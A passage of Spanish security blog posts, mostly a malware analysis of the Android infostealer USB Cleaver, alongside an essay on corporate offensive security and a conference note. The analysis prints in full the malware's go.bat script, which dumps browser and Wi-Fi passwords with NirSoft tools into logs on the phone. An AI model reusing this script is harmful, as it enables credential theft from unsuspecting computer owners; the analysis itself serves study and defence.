Esta mañana he visto una oferta de trabajo para Facebook en la que buscan ingenieros en seguridad ofensiva, por lo que he pensado que sería una estupenda oportunidad para explorar esta idea y su aplicación en la seguridad corporativa.
Tradicionalmente la seguridad informática en las empresas solo tiene un rol defensivo con el único apoyo de algunos productos (cortafuegos, antivirus, IDS, etc.). Cuando semana tras semana leemos en los medios cómo empresas de todos los tamaños son atacadas y comprometidas con éxito, ¡algo está fallando!
Internet y sus peligros han evolucionado pero la seguridad corporativa no: aún existen demasiadas empresas que siguen esquemas antiguos de décadas anteriores para proteger su información.
Al igual que los Estados-Naciones no solo desarrollan sus capacidades defensivas sino además las ofensivas, las empresas también deberían potenciar sus capacidades ofensivas para poder evaluar su propia seguridad de forma efectiva (no para atacar a otras empresas).
Es imposible que los consultores de seguridad/pentesters sean capaces de verificar la seguridad de una empresa en un tiempo limitado, que por desgracia es el modelo que siguen la mayoría de empresas. Nadie presiona al médico cuando tiene que operar o al fontanero cuando soluciona una avería, pero sí presionamos a los consultores de seguridad para obtener resultados detallados en un corto espacio de tiempo.
Es necesario que la seguridad corporativa evolucione con personal ofensivo que realmente entienda a los atacantes (mentalidad atacante), que sean capaces de atacar sistemas y aplicaciones y tengan cierta libertad para ello en la empresa. Estos individuos son los que pueden elevar la seguridad al siguiente nivel.
Su objetivo es atacar la empresa de forma constante utilizando técnicas reales para descubrir los puntos débiles y reforzarlos, analizar malware identificado en la empresa e incluso establecer trampas para los atacantes (honeypots). No debemos confundir con Counter-Hacking, que es la idea que si nos atacan debemos responder atacando. Ninguna empresa debería utilizar sus capacidades ofensivas para contraatacar por todos los problemas que esto puede acarrear (legales y éticos). Las capacidades ofensivas solo las debemos usar internamente para mejorar la seguridad y punto.
Las empresas que no sepan evolucionar su seguridad a un modelo defensivo y ofensivo y potenciar no solo la tecnología, sino también sus procesos y personas (la famosa pirámide: personas, procesos y tecnologías) están condenadas a ser comprometidas de por vida.
¿Tiene tu empresa capacidades ofensivas? ¿Cómo se utilizan?
El mes de febrero ha sido muy interesante a la par que ajetreado. El pasado 17 de febrero tuve el placer de recoger el primer reconocimiento a VULNEX por parte de Red Seguridad, que nos otorgó el trofeo a la Innovación TIC por nuestra colaboración con el DARPA (Agencia de Proyectos de Investigación Avanzados de Defensa del Departamento de Defensa, EE.UU.), cuyo fruto ha sido BinSecSweeper, una tecnología que nos permite verificar la postura de seguridad de cualquier binario.
Podéis encontrar una estupenda crónica del evento aquí y a continuación os incluyo una foto del premio :)
Los días 24-28 de febrero asistí por primera vez a la mítica conferencia RSA USA en San Francisco (EE.UU.), en la que participé con una ponencia sobre seguridad en el desarrollo de software y cómo evaluar su seguridad con BinSecSweeper titulada: “Writing Secure Software is hard, but at least add mitigations!”. Aprovecho para dar las gracias a los asistentes por el buen feedback (¡me alegro que gustara mi ponencia!) y por supuesto a la organización por un magnífico congreso.
La presentación ya está disponible en la web de VULNEX.
Ha sido la primera vez que asistía a RSA USA, pero sin duda no será la última. En mi opinión, una cita obligada para todos los profesionales de la ciberseguridad.
Los próximos 29 y 30 de enero impartiré un curso sobre hacking en dispositivos móviles y Apps en Android e iPhone en Madrid, España. Para los que ya estáis apuntados y para los que no (¡aun estáis a tiempo!), he pensado ofreceros un pequeño adelanto de alguno de los análisis que haremos ;)
El curso cubre diversos temas, como seguridad de plataformas móviles, vulnerabilidades y exploits, ingeniería inversa de Apps y malware, subversión de malware y pentesting con móviles, entre otras cosas, además de múltiples ejercicios prácticos.
Ahora vamos a analizar un malware para Android conocido como USB Cleaver, que tiene una característica muy interesante: trae un payload para robar información de equipos Windows. Es lo que se conoce como un Infostealer.
Cuando un teléfono infectado con este malware se conecta a un equipo Windows que tenga activado autorun (desactivado en la mayoría de Windows, ¿os acordáis de Stuxnet? :), se ejecuta una serie de herramientas Windows que roba información como la configuración del equipo, contraseñas de navegadores (Firefox, Chrome e IE) y la contraseña wifi. Esta información se guarda en la memoria externa SD del teléfono.
Primero vamos a ver cómo funciona y luego haremos reversing de su código.
USB Cleaver en acción
El primer paso será infectar un Android, una vez infectado aparece un icono llamado “USB Cleaver”, ver Fig. 1.
Fig. 1 – Android infectado con USB Cleaver
Al ejecutar el malware por primera vez nos indica que debemos bajar un payload de 3mb. Esto son las herramientas Windows que el malware utiliza para robar información del equipo. Ver Fig. 2 y 3.
Fig. 2 – Nos pide bajar el payload
Fig. 3 – Bajando payload
Toda la comunicación del malware la estamos examinando con el sniffer Wireshark y en la Fig. 4 podemos ver cómo se baja un fichero zip (“PK”).
Fig. 4 – Bajando fichero zip con el payload Windows
Ahora que ya tenemos el payload bajado, nos aparece un menú con tres opciones: activar y desactivar el payload, ficheros logs y volver a bajar los payloads (en caso de alguna actualización de las herramientas Windows), ver Fig. 5.
Fig. 5 – Menú principal de USB Cleaver
Procedamos a configurar el payload, por lo que pulsaremos en Activar/Desactivar Payloads. Ahora en el siguiente menú podemos activar el robo de información: configuración del sistema y robo de contraseñas de navegadores y wifi. Ver Fig. 6.
Fig. 6 – Activar opciones del payload
Ya solo tendríamos que esperar a que el teléfono se conecte a un equipo Windows con autorun activado y bingo!!
En las entrañas de USB Cleaver
Ahora estudiemos el USB Cleaver desde otra perspectiva, en este caso vamos a la terminal de Android para ver qué ficheros crea. Como mencioné anteriormente, el malware crea una carpeta en la sdcard, por lo que allí empezaremos el análisis.
En la Fig. 7 podemos observar que se ha creado una carpeta llamada “usbcleaver” y dos ficheros: autorun.inf y go.bat. El fichero inf es para el autorun de Windows y el go.bat (en estos momentos vació) ejecuta el payload.
Fig. 7 – Explorando la sdcard
Continuamos entrando en el directorio de usbcleaver y vemos tres directorios más, ver Fig. 8.
Fig. 8 – Dentro del directorio /sdcard/usbcleaver/
En el directorio logs es donde se guarda la información robada y en config podemos encontrar unos ficheros de configuración que utiliza el payload. Si entramos en el directorio system veremos una serie de ejecutables Windows, esto es el payload que previamente hemos bajado. Ver Fig. 9 y Fig. 10.
Fig. 9 – El payload de Windows
Fig. 10 – Directorio /sdcard/usbcleaver/config
Antes mencioné que el fichero go.bat está vacio, pero una vez que hayamos configurado el payload desde la aplicación, Fig. 6, se creará el fichero go.bat con la siguiente información y el payload ya estará listo para ser ejecutado.
@ECHO off
CD usbcleaver\system >NUL
:: Finds the location of the flash partition and sets master variable.
IF EXIST z:\usbcleaver\config\Drive_Location.cfg SET flshdrv=z:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST y:\usbcleaver\config\Drive_Location.cfg SET flshdrv=y:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST x:\usbcleaver\config\Drive_Location.cfg SET flshdrv=x:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST w:\usbcleaver\config\Drive_Location.cfg SET flshdrv=w:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST v:\usbcleaver\config\Drive_Location.cfg SET flshdrv=v:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST u:\usbcleaver\config\Drive_Location.cfg SET flshdrv=u:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST t:\usbcleaver\config\Drive_Location.cfg SET flshdrv=t:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST s:\usbcleaver\config\Drive_Location.cfg SET flshdrv=s:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST r:\usbcleaver\config\Drive_Location.cfg SET flshdrv=r:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST q:\usbcleaver\config\Drive_Location.cfg SET flshdrv=q:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST p:\usbcleaver\config\Drive_Location.cfg SET flshdrv=p:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST o:\usbcleaver\config\Drive_Location.cfg SET flshdrv=o:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST n:\usbcleaver\config\Drive_Location.cfg SET flshdrv=n:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST m:\usbcleaver\config\Drive_Location.cfg SET flshdrv=m:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST l:\usbcleaver\config\Drive_Location.cfg SET flshdrv=l:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST k:\usbcleaver\config\Drive_Location.cfg SET flshdrv=k:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST j:\usbcleaver\config\Drive_Location.cfg SET flshdrv=j:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST i:\usbcleaver\config\Drive_Location.cfg SET flshdrv=i:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST h:\usbcleaver\config\Drive_Location.cfg SET flshdrv=h:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST g:\usbcleaver\config\Drive_Location.cfg SET flshdrv=g:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST f:\usbcleaver\config\Drive_Location.cfg SET flshdrv=f:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST e:\usbcleaver\config\Drive_Location.cfg SET flshdrv=e:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST d:\usbcleaver\config\Drive_Location.cfg SET flshdrv=d:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST c:\usbcleaver\config\Drive_Location.cfg SET flshdrv=c:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST b:\usbcleaver\config\Drive_Location.cfg SET flshdrv=b:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
GOTO END
:FlshDrvFound
:: Checks to see if the payload is disarmed
IF NOT EXIST %flshdrv%\usbcleaver\config\Disarm_Payload.cfg GOTO SkipDisarm
IF EXIST %flshdrv%\usbcleaver\config\Disarm_Payload.cfg GOTO End
:SkipDisarm
:: Sets Variables and paths to clean up pathnams later on
IF NOT EXIST %flshdrv%\usbcleaver\logs\%computername% MD %flshdrv%\usbcleaver\logs\%computername%
SET t=%time:~0,2%_%time:~3,2%_%time:~6,2%
SET logdir="%flshdrv%\usbcleaver\logs\%computername%"
SET log="%flshdrv%\usbcleaver\logs\%computername%\%computername%-[%t%].log"
SET tmplog="%flshdrv%\usbcleaver\logs\%computername%\%computername%_TEMP.log"
SET progdir="%flshdrv%\usbcleaver\system\"
SET config="%flshdrv%\usbcleaver\config\"
SET installdir="%flshdrv%\usbcleaver\system\install"
SET /p eipurl=<"%flshdrv%\usbcleaver\config\External_IP.cfg"
:: Header information
ECHO ----------------------------------------------------------------------------------------------------------------------------- > %log% 2>&1
ECHO USB Cleaver Payload [Time Started: %DATE% %TIME%] >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO Computer Name is: %computername% and the Logged on User Is: %username% >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [System info] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
IPCONFIG /all >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
Echo +----------------------------------+ >> %log% 2>&1
Echo + [Dump Firefox PW] + >> %log% 2>&1
Echo +----------------------------------+ >> %log% 2>&1
%progdir%\PasswordFox.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [Dump Chrome PW] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\ChromePass.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [Dump IE PW] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\iepv.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO + [Dump WIFI PW] + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\WirelessKeyView.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log% >> NUL
DEL /f /q %tmplog% >NUL
ECHO. >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO USB Cleaver Payload [Time Finished: %DATE% %TIME%] >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
Fichero go.bat
Diseccionando USB Cleaver
¡Es el momento de un poco de reversing y estudiar el interior de este malware! Para ello hemos decompilado el malware y podemos ver diferentes ficheros que lo componen, Fig. 11.
Fig. 11 – USB Cleaver listo para ser analizado!
En la clase USBCleaverActivity podemos observar los diferentes ficheros y carpetas que el malware crea, que ya vimos anteriormente. Ver Fig. 12.
Fig. 12 – Clase USBCleaverActivity
En las clases payload y payloadHandler encontramos el código relacionado con el payload, Fig. 13 y Fig. 14.
Fig. 13 – Clase payload
Fig. 14 – Clase payloadHandler
Un aspecto que siempre debemos examinar cuando hacemos reversing de Apps o Malware es determinar qué permisos utiliza. En la Fig. 15 podemos ver los permisos de USB Cleaver: escritura en la memoria externa (WRITE_EXTERNAL_STORAGE), acceso Internet (INTERNET) y acceso al estado de red (ACCESS_NETWORK_STATE). Existen muchas herramientas para ver los permisos, incluso cualquier editor de texto, yo utilizo Electric Sheep (herramienta propietaria de VULNEX para análisis de apps móviles)
Fig. 15 – Permisos de USB Cleaver
Con esto ya hemos terminado de analizar USB Cleaver y como se puede apreciar es un malware muy sencillo, ¡si es que se le puede llamar malware! El siguiente paso será examinar con más detalle el payload.
Analizando el Payload
En la Fig. 9 hemos visto unos ejecutables que eran el payload. Procedamos a su reversing, aunque solo examinaremos uno
En la Fig. 16 podemos ver todos los ficheros que componen el payload. Nuestro análisis se enfocará al fichero ChromePass, que roba las contraseñas del navegador Chrome. Según la web w3schools.com, Chrome es el navegador más usado y por eso me ha parecido un buen candidato para el análisis.
Fig. 16 – Todos los ejecutables del payload
Para ello utilizaremos el mítico IDA Pro, ver Fig. 17, y al examinar el binario observo cadenas de texto que me suenan de otras herramientas. En la imagen podemos ver sentencias SQL, que es como el navegador guarda las contraseñas. Hace unos meses se abrió un debate de la forma tan insegura en la que se guardan las contraseñas en Chrome, fácil de encontrar si buscamos en Google ;)
Fig. 17 – Reversing the ChromePass en IDA Pro
Navegamos por el binario con IDA Pro y observo algunas cadenas de texto que me suenan, por lo que decido abrir las propiedades del ejecutable y vamos a Detalles, efectivamente esta herramienta es parte de NirSoft y sus utilidades para recuperar contraseñas. Ver Fig. 18.
Fig. 18 – ChromePass es una utilidad de NirSoft
Y para acabar utilizo el BinSecSweeper de VULNEX (disponible próximamente ;) para evaluar la postura de seguridad de todos los binarios en el payload.
En la Fig. 19 podemos ver que el ChromePass es una utilidad algo vieja (posiblemente compilada con Visual Studio 2005) y no tiene ninguna mitigación.
En caso de tener alguna vulnerabilidad esta aplicación es presa fácil, ¡IDA Pro al ataque!
Fig. 19 – Evaluando todos los binarios del payload mediante BinSecSweeper
Personalmente yo no llamaría Malware a esta aplicación como han hecho muchas casas antivirus, pero a pesar de su sencillez es un ejemplo interesante ya que combina Android con un payload Windows.
Es mera cuestión de tiempo que aparezca malware en móviles mucho más sofisticado que USB Cleaver que pueda atacar y robar información en otros sistemas operativos desktop como Windows y MacOS.
¡Espero que os haya gustado este análisis superficial de un malware en Android y nos vemos en el curso de hacking en móviles!
¿Cuál crees que será el foco del malware en móviles en los próximos dos años?